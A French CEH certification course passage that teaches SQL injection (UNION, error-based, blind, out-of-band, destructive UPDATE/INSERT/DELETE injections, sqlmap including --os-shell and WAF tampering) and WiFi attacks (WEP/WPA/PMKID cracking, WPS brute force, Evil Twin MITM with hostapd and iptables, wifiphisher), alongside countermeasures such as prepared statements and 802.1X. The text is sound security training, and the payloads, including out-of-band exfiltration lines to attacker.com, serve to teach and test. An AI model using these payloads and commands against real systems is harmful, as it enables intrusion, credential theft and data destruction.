Point clé examen CEH : Le signe ' est le caractère le plus testé en SQLi car la concaténation de chaînes est le vecteur principal. Si ' provoque une erreur SQL, c'est le premier indicateur d'une injection possible. Les quatre points d'injection principaux sont : paramètres d'URL (GET), données de formulaire (POST), cookies, et en-têtes HTTP (User-Agent, Referer).

Pièges classiques : Piège CEH : croire que -- marche sans espace sur tous les SGBD (MySQL exige -- avec espace). Erreur : tester seulement GET et rater POST ou cookies.

À vous de jouer : Que prouve ' qui casse la page ?

Voir la réponse

Une concaténation non paramétrée probable : premier indice d'injection à confirmer par vrai/faux et time-based autorisés.

🔍 SQL Injection In-Band : UNION-Based et Error-Based

L'injection in-band est le type le plus direct : les résultats de l'injection sont visibles directement dans la réponse HTTP. L'attaque UNION-based utilise l'opérateur UNION SQL pour combiner les résultats de deux requêtes, tandis que l'error-based exploite les messages d'erreur détaillés pour extraire les données.

Pourquoi c'est important : Quand la page affiche les résultats, UNION vole des tables entières en quelques requêtes : c'est l'extraction la plus rapide à démontrer au client avant de blinder.

L'analogie qui aide : Demander au serveur de joindre votre liste d'invités à la sienne (UNION) après avoir compté les colonnes du tableau (ORDER BY) pour que les deux s'emboîtent.

UNION-Based — principe : L'opérateur UNION SELECT combine les résultats de la requête originale avec ceux d'une requête contrôlée par l'attaquant. La condition essentielle est que les deux requêtes doivent avoir le même nombre de colonnes avec des types compatibles. ORDER BY N permet de déterminer le nombre de colonnes en provoquant une erreur quand N dépasse le nombre réel.
Technique UNION : D'abord déterminer le nombre de colonnes avec ORDER BY 1, ORDER BY 2... jusqu'à erreur. Puis identifier les colonnes affichées en injectant NULL, NULL, NULL... puis en remplaçant chaque NULL par une valeur jusqu'à trouver les colonnes visibles dans la réponse.
Error-Based — principe : Si les erreurs SQL sont affichées (mode debug ou errores no supprimidas), on peut extraire les données via des fonctions qui provoquent des erreurs informatives. Exemple MySQL : extractvalue(1,concat(0x7e,(SELECT version()),0x7e)) provoque une erreur XML contenant la version.
Error-Based avancé : updateXML() sur MySQL, CONVERT() sur MSSQL (la conversion d'une valeur trop longue provoque une erreur contenant la valeur), CAST() sur PostgreSQL. La technique consiste à forcer une erreur qui inclut la donnée extraite dans le message d'erreur.
Double query (MySQL) : La technique GROUP BY WITH ROLLUP exploite une erreur de counting pour extraire les données. COUNT(*) FROM information_schema.tables GROUP BY column_name. Une seule ligne avec count=0 contient la valeur extraite.

# UNION-Based — déterminer le nombre de colonnes
' ORDER BY 1--     (OK)
' ORDER BY 5--     (OK)
' ORDER BY 6--     (ERREUR → 5 colonnes)

# Trouver les colonnes visibles
' UNION SELECT NULL, NULL, NULL, NULL, NULL--
' UNION SELECT 1, NULL, NULL, NULL, NULL--
' UNION SELECT 1, 'test', NULL, NULL, NULL--

# UNION-Based extraction complète
' UNION SELECT NULL, GROUP_CONCAT(username,0x3a,password), NULL, NULL, NULL
FROM users--

# Error-Based extraction (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
' AND updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 1),0x7e),1)--

Démonstration pas à pas : Déroulé : ' ORDER BY 1-- jusqu'à erreur (ici 6 = 5 colonnes). Puis ' UNION SELECT NULL,NULL,NULL,NULL,NULL-- puis remplacez chaque NULL par 1 ou 'test' pour voir les colonnes affichées. Puis ' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password),NULL,NULL,NULL FROM users--. En error-based : ' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--.

Point clé examen CEH : UNION-based est l'attaque la plus efficace quand les résultats sont affichés dans la page. La séquence standard est : ORDER BY → nombre de colonnes → UNION SELECT NULL → remplacer NULL pour identifier les colonnes visibles → extraire les données. L'error-based est le fallback quand les résultats ne sont pas affichés mais les erreurs sont visibles.

Pièges classiques : Piège CEH : UNION sans même nombre de colonnes ni types compatibles. Erreur : oublier GROUP_CONCAT qui agrège en une ligne.

À vous de jouer : Comment trouver le nombre de colonnes ?

Voir la réponse

Par ORDER BY croissant jusqu'à l'erreur : le dernier OK donne le compte, puis UNION SELECT NULL pour les colonnes visibles.

🔍 Blind SQL Injection : Boolean, Time-Based et Out-of-Band

La SQLi aveugle (blind) ne produit aucune erreur visible ni aucun résultat dans la réponse. L'attaquant doit déduire les informations caractère par caractère en observant le comportement de l'application (différence de réponse, temps de réponse, contenu alternatif).

Pourquoi c'est important : Les applis modernes n'affichent plus d'erreurs : sans boolean ni time-based, vous ratez la majorité des SQLi réelles que sqlmap extrait caractère par caractère.

L'analogie qui aide : Jouer à devine-mot en oui/non (boolean, page change) ou au chronomètre (time, SLEEP retarde) quand le gardien ne parle plus (blind).

Boolean-Based Blind : L'attaque pose des questions de type "vrai/faux" et observe si la réponse change. Exemple : ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--. Si la réponse est identique à une requête légitime, le caractère est correct. Répéter pour chaque caractère (a-z, 0-9).
Time-Based Blind : Aucune différence visible dans la réponse. L'attaquant utilise SLEEP() (MySQL), WAITFOR DELAY '0:0:5' (MSSQL), ou pg_sleep() (PostgreSQL) pour mesurer le temps de réponse. Si ' AND IF(1=1,SLEEP(5),0)-- provoque un délai de 5 secondes, la condition est vraie. Plus lent mais fonctionne dans tous les cas.
Out-of-Band (OOB) : Quand ni le résultat ni les erreurs ne sont visibles, l'attaquant fait communiquer la BDD avec un serveur externe. Sur MySQL : LOAD_FILE('\\\\attacker.com\\share\\file') via SMB ou DNS. Sur MSSQL : xp_dirtree '\\attacker.com\share'. Sur Oracle : UTL_HTTP.REQUEST('http://attacker.com/'||data).
Automatisation : SQLmap automatise complètement les attaques blind. La commande sqlmap -u "URL?param=1" --technique=B --characters=a-z --first-char=a --last-char=z teste caractère par caractère automatiquement.
NoSQL Blind Injection (MongoDB) : L'opérateur $regex permet une extraction caractère par caractère : {"password": {"$regex": "^a"}}. Si la réponse est différente, le mot de passe commence par 'a'. Répéter avec ^ab, ^abc... jusqu'à la fin.

# Boolean-Based Blind — extraction caractère par caractère
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--   (vrai)
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='b'--   (faux)
# Répéter pour chaque position et caractère

# Time-Based Blind — test de condition
' AND IF(1=1,SLEEP(5),0)--    (délai de 5s → vrai)
' AND IF(1=2,SLEEP(5),0)--    (pas de délai → faux)

# Time-Based Blind — extraction caractère par caractère
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--

# SQLmap — automatisation complète
sqlmap -u "http://target.com/page?id=1" --dbs --batch
sqlmap -u "http://target.com/page?id=1" --dump-all --batch --threads=10

# NoSQL Injection (MongoDB) — bypass auth
POST /login
{"username": {"$ne": ""}, "password": {"$ne": ""}}

Démonstration pas à pas : Déroulé : boolean avec ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- (change = vrai). Puis time avec ' AND IF(1=1,SLEEP(5),0)-- (5 s = vrai) et extraction IF(SUBSTRING(... )='a',SLEEP(5),0)--. Automatisez : sqlmap -u "URL?param=1" --dbs --batch puis --dump-all --threads=10. Mongo : {"$ne":""} et {"$regex":"^a"}.

Point clé examen CEH : Le blind SQLi est le type le plus courant car les applications modernes ne génèrent pas d'erreurs SQL visibles. Le time-based est le plus universel mais le plus lent (1 requête = 1 seconde de delay). SQLmap utilise des algorithmes binaires pour optimiser l'extraction (bissection au lieu de parcours séquentiel).

Pièges classiques : Piège CEH : dire que le blind est rare. C'est le plus courant car erreurs masquées. Erreur : time-based sans mesurer la latence réseau (faux positifs).

À vous de jouer : Quand choisir le time-based ?

Voir la réponse

Quand aucune différence visible n'existe : seul le délai SLEEP, WAITFOR DELAY ou pg_sleep révèle vrai ou faux.

🔍 Injection SQL Avancée : UPDATE, INSERT, DELETE, ORDER BY

L'injection SQL ne se limite pas aux requêtes SELECT. Les injections dans UPDATE, INSERT, DELETE et ORDER BY nécessitent des techniques différentes car le contexte de la requête change. Une injection dans UPDATE peut modifier des données existantes, tandis qu'une injection dans INSERT ajoute des enregistrements malveillants.

Pourquoi c'est important : UPDATE, INSERT et ORDER BY modifient ou effacent : une injection ici détruit des logs ou crée un admin, impact bien plus grave qu'un SELECT qui lit.

L'analogie qui aide : Piéger le registre d'hôtel (INSERT), le changement de chambre (UPDATE), la corbeille (DELETE) ou le tri alphabétique (ORDER BY) au lieu de la simple consultation.

Injection UPDATE : Si la requête est UPDATE users SET password='$pwd' WHERE id=1, l'attaquant peut injecter : ' WHERE id=1; DROP TABLE users--. Cela modifie le mot de passe de l'utilisateur ID 1 ET supprime la table users.
Injection INSERT : Si la requête est INSERT INTO users (name,email) VALUES ('$name','$email'), l'attaquant injecte : ', 'admin'); DROP TABLE logs;--. Cela ajoute un enregistrement admin ET supprime la table logs.
Injection DELETE : Si la requête est DELETE FROM logs WHERE id='$id', l'attaquant injecte : ' OR 1=1--. Cela supprime TOUS les enregistrements de la table logs.
Injection ORDER BY : La clause ORDER BY accepte un ordinal (1,2,3...) ou un nom de colonne. L'injection dans ORDER BY exploite les fonctions de tri : ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- provoque une erreur contenant la version.
Second-Order SQLi : L'injection n'est pas immédiate. Le payload malveillant est stocké dans la BDD lors de l'inscription et exécuté lors d'une opération ultérieure (ex: modification de profil). Les filtres côté inscription ne protègent pas car la requête malveillante s'exécute plus tard.

# Injection UPDATE — suppression de données
UPDATE users SET password='$pwd' WHERE id=1;
# Injection : ' WHERE id=1; DROP TABLE users;--

# Injection INSERT — ajout d'un admin
INSERT INTO users (name,email) VALUES ('$name','$email');
# Injection : ', 'admin_hack'); INSERT INTO admin(username) VALUES('hacker');--

# Injection DELETE — suppression massive
DELETE FROM logs WHERE id='$id';
# Injection : ' OR 1=1--
# Résultat : supprime TOUS les logs

# Injection ORDER BY — extraction via erreur MySQL
' ORDER BY 1 AND (SELECT 1 FROM (SELECT COUNT(*),
CONCAT((SELECT version()),FLOOR(RAND(0)*2))x
FROM information_schema.tables GROUP BY x)a)--

# Second-Order SQLi
# Inscription : username = admin'--
# Requête UPDATE exécutée plus tard :
# UPDATE users SET name='admin'--' WHERE id=123

Démonstration pas à pas : Déroulé : UPDATE avec ' WHERE id=1; DROP TABLE users;-- (modifie puis supprime). INSERT avec ', 'admin'); INSERT INTO admin...;-- (ajoute). DELETE avec ' OR 1=1-- (vide les logs). ORDER BY avec GROUP BY et CONCAT(version(),FLOOR(RAND(0)*2)) pour forcer une erreur qui fuit la version. Second-order : username admin'-- stocké puis exécuté à l'UPDATE suivant.

Point clé examen CEH : Les injections dans UPDATE/DELETE/INSERT sont plus destructrices car elles modifient ou suppriment des données directement. L'injection dans ORDER BY est souvent négligée mais elle peut permettre une extraction complète via les erreurs de GROUP BY. Le Second-Order SQLi est testé dans les scénarios avancés du CEH Expert.

Pièges classiques : Piège CEH : négliger ORDER BY et second-order. Les deux sont testés en expert. Erreur : croire que prepared statements partiels suffisent (il faut tout paramétrer).

À vous de jouer : Pourquoi le second-order est-il vicieux ?

Voir la réponse

Parce que le payload dort en base à l'inscription et s'exécute plus tard : les filtres d'entrée ne le voient pas.

🔍 Contre-Mesures et SQLmap Complet

Les contre-mesures contre l'injection SQL reposent sur plusieurs couches : la validation des entrées, les requêtes paramétrées, l'utilisation d'ORM, les WAF, et la minimisation des privilèges de la base de données. SQLmap est l'outil automatisé de référence pour tester l'ensemble de ces vecteurs.

Pourquoi c'est important : Sans requêtes paramétrées, aucun WAF ne tient longtemps : sqlmap avec tamper prouve le bypass, puis PDO paramétré prouve la correction durable.

L'analogie qui aide : Remplacer les ordres dictés (concaténation) par des formulaires à cases (prepared statements), avec un vigile (WAF ModSecurity) et des clés limitées (privilèges DB).

Requêtes paramétrées (Prepared Statements) : Le mécanisme le plus efficace. La structure de la requête est définie AVANT les paramètres. Le SGBD traite les paramètres comme des données, jamais comme du code SQL. Fonctionne avec PDO (PHP), PreparedStatement (Java), psycopg2 (Python).
ORM (Object-Relational Mapping) : Hibernate, SQLAlchemy, Eloquent gèrent automatiquement les requêtes paramétrées. Les ORM réduisent considérablement le risque de SQLi mais ne l'éliminent pas si on utilise du SQL brut dans les requêtes custom.
WAF (Web Application Firewall) : ModSecurity, Cloudflare, AWS WAF détectent et bloquent les payloads SQLi connus. Les règles OWASP CRS couvrent les vecteurs standards. Les techniques de bypass incluent le double encoding, le char() concatenation, le inline comment (/**/).
Privilèges restreints : Le compte de la base de données ne doit JAMAIS avoir les droits DROP, DELETE, ou ALTER. Ne pas utiliser root pour les connexions applicatives. Séparer les comptes de lecture et d'écriture.
SQLmap — fonctionnalités avancées : --tamper=between,charencode pour bypasser les WAF, --random-agent pour changer le User-Agent, --cookie pour les sessions authentifiées, --os-shell pour l'exécution de commandes OS, --privileges pour lister les droits du compte DB.

# SQLmap — scan complet
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# SQLmap — dump d'une table spécifique
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump --batch

# SQLmap — dump complet (attention : long)
sqlmap -u "http://target.com/page?id=1" --dump-all --batch --threads=10

# SQLmap — bypass WAF avec tamper
sqlmap -u "http://target.com/page?id=1" --tamper=between,charencode,space2comment --batch

# SQLmap — shell OS (post-exploitation)
sqlmap -u "http://target.com/page?id=1" --os-shell --batch

# SQLmap — cookies et auth
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123" --batch

# Contre-mesure : requête paramétrée (PHP PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $id]);

Démonstration pas à pas : Déroulé : sqlmap -u "URL?id=1" --dbs --batch (énumère), -D mydb -T users --dump (cible), --tamper=between,charencode,space2comment (bypass WAF), --cookie="session=abc" (auth), --os-shell (post-exploit). Correction : $pdo->prepare('SELECT * FROM users WHERE id = :id') puis execute(['id'=>$id]). Jamais root pour l'appli.

Point clé examen CEH : SQLmap est l'outil automatisé de référence pour le pentest SQL. La commande de base est sqlmap -u "URL?param=1" --dbs --batch. L'option --batch accepte automatiquement les prompts par défaut. La combinaison --dump-all --threads=10 permet un dump complet mais attention : cela génère beaucoup de trafic et peut être détecté. Les requêtes paramétrées (Prepared Statements) éliminent 100% des risques de SQLi.

Pièges classiques : Piège CEH : croire que l'ORM ou le WAF suffit seul. Seul le paramétré élimine 100 %. Erreur : --dump-all massif sans accord (trafic et détection).

À vous de jouer : Quelle correction élimine vraiment la SQLi ?

Voir la réponse

Les requêtes paramétrées (PDO, PreparedStatement) : la structure est fixée avant les données, jamais interprétées comme code.

13

Hacking Réseau Sans Fil

WiFi hacking : WEP, WPA, WPS, rogue AP, Evil Twin

▼

✓ Protocoles WiFi : WEP, WPA, WPA2, WPA3 — fonctionnement Facile
✓ Mode monitor : airmon-ng, capture de trames 802.11 Moyen
✓ Cracking WEP : aircrack-ng, déauth, IV collection Moyen
✓ Cracking WPA/WPA2 : handshake capture, PMKID, dictionary attack Difficile
✓ Attaques WPS : Reaver, Bully, PIN brute force Moyen
✓ Rogue Access Point et Evil Twin : mitmWiFi, hostapd Difficile
✓ WiFi Pineapple et attaques AP framework Difficile
✓ Contre-mesures : WPA3, 802.1X/EAP, RADIUS, NAC Moyen

🔍 Protocoles WiFi et Modèles de Sécurité

Les réseaux sans fil utilisent le standard IEEE 802.11 et différents protocoles de chiffrement dont la robustesse varie considérablement. Comprendre l'évolution de WEP à WPA3 est essentiel pour identifier les vecteurs d'attaque et choisir les contre-mesures appropriées lors d'un pentest WiFi.

Pourquoi c'est important : WEP se casse en minutes, WPA2 tient par le mot de passe, WPA3 change la donne avec SAE : recommander la migration sans ce tableau, c'est conseiller à l'aveugle.

L'analogie qui aide : Des cadenas : WEP à combinaison de 3 chiffres qui se répète (IV 24 bits), WPA à clé par colis (TKIP), WPA2 à blindage AES (CCMP), WPA3 à poignée qui change à chaque essai (Dragonfly SAE).

WEP (Wired Equivalent Privacy) : Premier protocole de sécurité WiFi (1997). Utilise RC4 avec une clé de 64/128 bits. Le vecteur d'initialisation (IV) de 24 bits est trop court et se répète après environ 5000 paquets, permettant la récupération de la clé en analysant les IV répétés. Déprécié depuis 2004, craquable en quelques minutes avec aircrack-ng.
WPA (Wi-Fi Protected Access) : Solution temporaire (2003). Utilise TKIP (Temporal Key Integrity Protocol) qui dérive une clé unique par paquet. Le handshake à 4 messages dérive la PTK (Pairwise Transient Key) à partir du PMK et de nonces aléatoires. Vulnérable aux attaques KRACK (Key Reinstallation Attack) et à la dictionnaire si le mot de passe est faible.
WPA2 (Wi-Fi Protected Access 2) : Standard actuel avec AES-CCMP (Counter Mode CBC-MAC Protocol). Le 4-way handshake dérive la PTK = PRF(PMK, ANonce, SNonce, MAC_AP, MAC_STA). Le PMK est dérivé du PSK (mot de passe WiFi) via PBKDF2 avec 4096 itérations. Vulnérable à KRACK et aux attaques PMKID (un seul paquet EAPOL suffit).
WPA3 (Wi-Fi Protected Access 3) : Standard récent (2018) utilisant SAE (Simultaneous Authentication of Equals) basé sur le Dragonfly handshake. Remplace le PSK par un échange ECC résistant aux attaques de dictionnaire. L'Opportunistic Wireless Encryption (OWE) chiffre les réseaux ouverts. Vulnérable au Dragonblood (side-channel attacks).
4-way handshake WPA/WPA2 : Les 4 messages échangent les nonces et dérivent la PTK. L'attaquant capture les 4 messages et lance une attaque de dictionnaire hors-ligne. Le PMKID est une alternative ne nécessitant qu'un seul paquet (PMKID = HMAC-SHA1-128(PMK, PMK Name || MAC_AP || MAC_STA)).

# Activer le mode monitor
airmon-ng check kill
airmon-ng start wlan0

# Scanner les réseaux disponibles
airodump-ng wlan0mon

# Capturer le handshake d'un réseau spécifique
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Forcer la désauthentification pour capturer le handshake
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Cracker le handshake avec aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Cracker avec hashcat (GPU, format PMKID/22000)
hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt

Démonstration pas à pas : Déroulé : airmon-ng check kill puis airmon-ng start wlan0 (mode monitor). Puis airodump-ng wlan0mon (scan), airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture (cible), aireplay-ng --deauth 10 (force le handshake), aircrack-ng -w rockyou.txt capture-01.cap ou hashcat -m 22000 capture.hc22000.

Point clé examen CEH : Le 4-way handshake WPA2 contient la PTK dérivée du mot de passe WiFi. L'attaque PMKID est plus élégante : elle capture un seul paquet EAPOL sans nécessiter de client connecté. WPA3 avec SAE rend ces attaques théoriquement impossibles car chaque tentative de connexion utilise un échange cryptographique unique.

Pièges classiques : Piège CEH : dire que WPA3 est invulnérable (Dragonblood existe en side-channel). Erreur : PMKID confondu avec handshake complet (un seul EAPOL suffit).

À vous de jouer : Pourquoi le 4-way handshake suffit au crack ?

Voir la réponse

Parce qu'il contient nonces et MIC dérivés du PSK via PBKDF2 : rejouer le dictionnaire hors ligne retrouve le mot de passe faible.

🔍 Cracking WEP, WPA et Attaques WPS

Le cracking WiFi varie selon le protocole. WEP est trivial grâce à la faiblesse de son IV, WPA/WPA2 nécessite un dictionnaire ou une attaque GPU, et WPS est vulnérable au brute force du PIN à 8 chiffres vérifié en deux parties.

Pourquoi c'est important : Un WEP craqué en minutes et un WPS brute-forcé en heures prouvent que même un WPA fort est nul si WPS reste actif : le rapport exige sa désactivation.

L'analogie qui aide : Compter les tickets de caisse qui se répètent (IV WEP), essayer le dictionnaire des mots courants (WPA) ou forcer le digicode en deux fois 4 chiffres (WPS 4+3).

Cracking WEP : La technique consiste à collecter des paquets contenant des IV (trames chiffrées). Fake authentication permet de s'authentifier sans connaître la clé. L'injection de paquets ARP génère du trafic artificiel pour accélérer la collecte. Aircrack-ng récupère la clé à partir d'environ 40 000 IV.
Cracking WPA/WPA2 — dictionnaire : Capturer le 4-way handshake puis tester chaque mot de passe du dictionnaire. La PTK est dérivée via PBKDF2 (4096 itérations HMAC-SHA1), rendant la vérification lente (1000-5000 essais/seconde sur CPU). Hashcat sur GPU est significativement plus rapide.
Cracking WPA/WPA2 — PMKID : Alternative sans client. L'AP génère un PMKID dans le premier paquet EAPOL. L'attaquant capture ce paquet et lance l'attaque hors-ligne. hashcat -m 22000 est l'outil recommandé. Convertir le cap en format hc22000 avec hcxpcapngtool.
WPS (Wi-Fi Protected Setup) : PIN de 8 chiffres vérifié en deux parties (4+3 chiffres), réduisant la complexité de 10^8 à environ 11 000 combinaisons. Reaver et Bully brute-forcent le PIN. Certains AP ont un rate limiting après 3-5 tentatives échouées, mais l'attaque peut reprendre après le timeout.
Wordlists efficaces : rockyou.txt (14 millions de mots), SecLists (collections organisées), wordlists personnalisées générées avec crunch ou mentalist basées sur les infos collectées. Les rule files hashcat (best64.rule, d3ad0ne.rule) multiplient la taille de la wordlist par des mutations (majuscules, chiffres, symboles).

# WEP — fake auth + injection ARP
aireplay-ng --fakeauth 0 -a TARGET_MAC wlan0mon
aireplay-ng --interactive -b TARGET_MAC wlan0mon
# Quand assez d'IV collectés (~40000)
aircrack-ng capture-01.cap

# WPA2 PMKID avec hashcat
hcxpcapngtool -o hash.hc22000 capture.cap
hashcat -m 22000 hash.hc22000 rockyou.txt -a 0

# Attaque WPS avec Reaver
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# Attaque WPS avec Bully (plus rapide sur certains AP)
bully -b AA:BB:CC:DD:EE:FF -c 6 -d -v 3 wlan0mon

# Générer une wordlist personnalisée
crunch 10 10 abcdefghijklmnop -t @@@@2026 -o custom.txt

Démonstration pas à pas : Déroulé WEP : aireplay-ng --fakeauth 0 -a MAC puis --interactive et aircrack-ng dès 40000 IV. WPA PMKID : hcxpcapngtool -o hash.hc22000 capture.cap puis hashcat -m 22000 hash.hc22000 rockyou.txt -a 0. WPS : reaver -i wlan0mon -b MAC -vv ou bully -b MAC -c 6. Wordlist perso : crunch 10 10 alphabet -t @@@@2026.

Point clé examen CEH : WEP est craquable en quelques minutes. WPA2 est résistant uniquement si le mot de passe est complexe (20+ caractères). WPS est le talon d'Achille de nombreux AP : même avec un mot de passe fort, le PIN WPS est craquable en quelques heures. Désactivez toujours WPS sur vos points d'accès.

Pièges classiques : Piège CEH : croire que WPS se limite à 8 chiffres durs (vérifié 4+3, environ 11000 essais). Erreur : rate limiting ignoré (reprendre après timeout).

À vous de jouer : Pourquoi désactiver WPS même avec bon WPA ?

Voir la réponse

Parce que le PIN se brute-force indépendamment du mot de passe : un bon PSK ne protège pas d'un WPS actif.

🔍 Rogue AP, Evil Twin et WiFi Pineapple

Les attaques Rogue AP et Evil Twin créent un point d'accès frauduleux pour intercepter le trafic des utilisateurs. L'attaquant se positionne entre les victimes et l'AP légitime (MITM). Le WiFi Pineapple est un outil dédié à ce type d'attaque avec une interface web complète.

Pourquoi c'est important : Un Evil Twin sur le SSID invité intercepte logins et cookies sans casser de chiffrement : c'est le test qui fait imposer 802.1X par certificat.

L'analogie qui aide : Monter une fausse boutique identique à côté de la vraie (même enseigne SSID) avec un vendeur qui note les cartes avant de renvoyer vers la vraie.

Evil Twin : Création d'un AP avec le même SSID que l'AP légitime. Les clients se connectent automatiquement à l'AP le plus fort. L'attaquant intercepte tout le trafic, capture les credentials HTTP/HTTPS, et peut injecter du contenu (JavaScript malveillant, redirect vers phishing). hostapd est l'outil standard pour créer l'AP.
Rogue AP : Point d'accès connecté au réseau de l'entreprise sans autorisation. Permet d'accéder au réseau interne depuis l'extérieur. Le rogue AP peut être dissimulé physiquement (Raspberry Pi, WiFi adapter USB). L'attaque est particulièrement efficace dans les environnements avec peu de segmentation réseau.
WiFi Pineapple : Plateforme dédiée au WiFi pentesting. Fonctionnalités : association de clients (Evil Twin automatique), sniffing HTTP, injection de JavaScript, credential harvesting, captive portal phishing. L'interface web facilite la gestion des attaques. Les modules étendent les fonctionnalités (DnsSpoof, Karma, etc.).
Attaques avancées : Karma attack : l'AP répond à toutes les requêtes de probe request. Les appareils qui se connectent automatiquement à des réseaux connus sont vulnérables. Deauth + Evil Twin : combinaison de désauthentification de l'AP légitime et création d'un twin pour forcer la reconnexion. Man-in-the-Middle : sniffing SSLStrip pour dégrader HTTPS en HTTP.
Outils complémentaires : Wifiphisher crée automatiquement un Evil Twin avec phishing (captive portal demandant le mot de passe WiFi). EAPHammer réalise des attaques sur les réseaux 802.1X/EAP. mitmWiFi automatise le MITM sur les réseaux WiFi capturés.

# Créer un Evil Twin avec hostapd
# Fichier hostapd.conf
interface=wlan1
driver=nl80211
ssid=FreeWiFi
channel=6
hw_mode=g

# Lancer hostapd
hostapd hostapd.conf

# Rediriger le trafic vers l'attaquant (MITM)
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 10000

# WiFi Pineapple — modules principaux
# Karma : répond aux probe requests
# DnsSpoof : redirige les DNS vers l'attaquant
# Captive Portal : phishing pour voler les mots de passe

# Wifiphisher — Evil Twin avec phishing automatique
wifiphisher --essid "CorpoWiFi" -p firmware-upgrade

Démonstration pas à pas : Déroulé : créez hostapd.conf (interface wlan1, ssid FreeWiFi, channel 6), lancez hostapd, activez echo 1 > /proc/sys/net/ipv4/ip_forward et MASQUERADE plus REDIRECT du port 80 vers 10000 pour le MITM. Pineapple : Karma (répond aux probes), DnsSpoof, Captive Portal. Wifiphisher --essid avec firmware-upgrade pour le phishing.

Point clé examen CEH : L'Evil Twin est l'attaque WiFi la plus courante en pentest. Le WiFi Pineapple est l'outil de référence avec son interface web et ses modules. Pour détecter ces attaques, utilisez la 802.1X/EAP (authentification par certificat) qui empêche la connexion à des AP frauduleux. Le monitoring des BSSID est aussi une contre-mesure efficace.

Pièges classiques : Piège CEH : croire que le signal fort suffit à prouver le légitime. Les clients suivent le plus fort, d'où le danger. Erreur : rogue AP confondu avec Evil Twin (rogue = branché au LAN sans autorisation).

À vous de jouer : Que change 802.1X contre l'Evil Twin ?

Voir la réponse

L'AP doit présenter un certificat valide : sans lui, le client refuse, même avec le bon SSID et un fort signal.

🔍 Contre-Mesures WiFi et Commandes Aircrack-ng

Les contre-mesures WiFi reposent sur l'authentification robuste, la segmentation réseau et le monitoring continu. La suite aircrack-ng est l'outil de référence pour les tests de pénétration WiFi avec des commandes spécialisées pour chaque phase de l'attaque.

Pourquoi c'est important : Sans suite aircrack-ng maîtrisée (monitor, dump, deauth, crack) et sans 802.1X, l'audit WiFi reste théorique et le client garde WPS et PSK faibles.

L'analogie qui aide : La trousse du serrurier WiFi : loupe (airodump), fausse clé pour faire sonner (aireplay deauth), gabarit d'essai (aircrack), avec consigne de changer la serrure (WPA3, EAP-TLS).

WPA3 : Remplace le PSK par SAE (Simultaneous Authentication of Equals) basé sur Dragonfly. Résistant aux attaques de dictionnaire car chaque tentative utilise un échange ECC unique. L'OWE (Opportunistic Wireless Encryption) chiffre les réseaux ouverts sans mot de passe.
802.1X/EAP : Authentification par certificat (EAP-TLS) ou identifiants (EAP-PEAP). Nécessite un serveur RADIUS. Chaque utilisateur a des credentials uniques. Élimine le risque de cracking de mot de passe partagé. Protège contre les Evil Twin car l'AP doit présenter un certificat valide.
NAC (Network Access Control) : Vérification de la posture de sécurité de l'appareil avant l'accès au réseau. Isolation des appareils non conformes (pas de mise à jour, antivirus désactivé). 802.1X intégré avec des politiques de quarantine.
Aircrack-ng — commandes complètes : Suite complète pour le pentest WiFi. airmon-ng active le mode monitor. airodump-ng capture les trames 802.11. aireplay-ng injecte des trames (deauth, fake auth, ARP replay). aircrack-ng lance les attaques de cracking (WEP, WPA, PMKID).
Contre-mesures organisationnelles : Désactiver WPS, utiliser des mots de passe complexes (30+ caractères), segmenter le réseau WiFi du réseau interne, monitorer les BSSID inconnus, mettre à jour le firmware des AP, utiliser WPA3 quand possible.

# aircrack-ng — suite complète

# 1. Vérifier les interfaces et activer le mode monitor
airmon-ng check kill
airmon-ng start wlan0

# 2. Scanner les réseaux (appuyer sur Enter pour filtrer)
airodump-ng wlan0mon

# 3. Capturer un réseau spécifique (canal + BSSID)
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w output wlan0mon

# 4. Injection de désauthentification
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon

# 5. Fake auth pour WEP
aireplay-ng --fakeauth 30 -a AA:BB:CC:DD:EE:FF -h MY_MAC wlan0mon

# 6. ARP replay pour générer du trafic WEP
aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h MY_MAC wlan0mon

# 7. Cracker WEP
aircrack-ng output-01.cap

# 8. Cracker WPA2
aircrack-ng -w rockyou.txt output-01.cap

Démonstration pas à pas : Déroulé ordonné : airmon-ng check kill et start, airodump-ng scan, airodump-ng -c 6 --bssid -w output, aireplay-ng --deauth 5 -a MAC -c CLIENT, --fakeauth et --arpreplay pour WEP, aircrack-ng output-01.cap puis -w rockyou.txt pour WPA2. Défense : WPA3 SAE plus OWE, EAP-TLS via RADIUS, NAC, 30 caractères, WPS off.

Point clé examen CEH : La suite aircrack-ng est incontournable pour le pentest WiFi. Les étapes standard sont : airmon-ng (mode monitor) airodump-ng (capture) aireplay-ng (injection/deauth) aircrack-ng (cracking). La 802.1X/EAP avec certificats est la contre-mesure la plus robuste car elle élimine le PSK partagé et protège contre les Evil Twin.

Pièges classiques : Piège CEH : citer les outils dans le désordre. L'ordre est monitor, dump, inject, crack. Erreur : PSK court présenté comme suffisant (visez 30+ caractères).

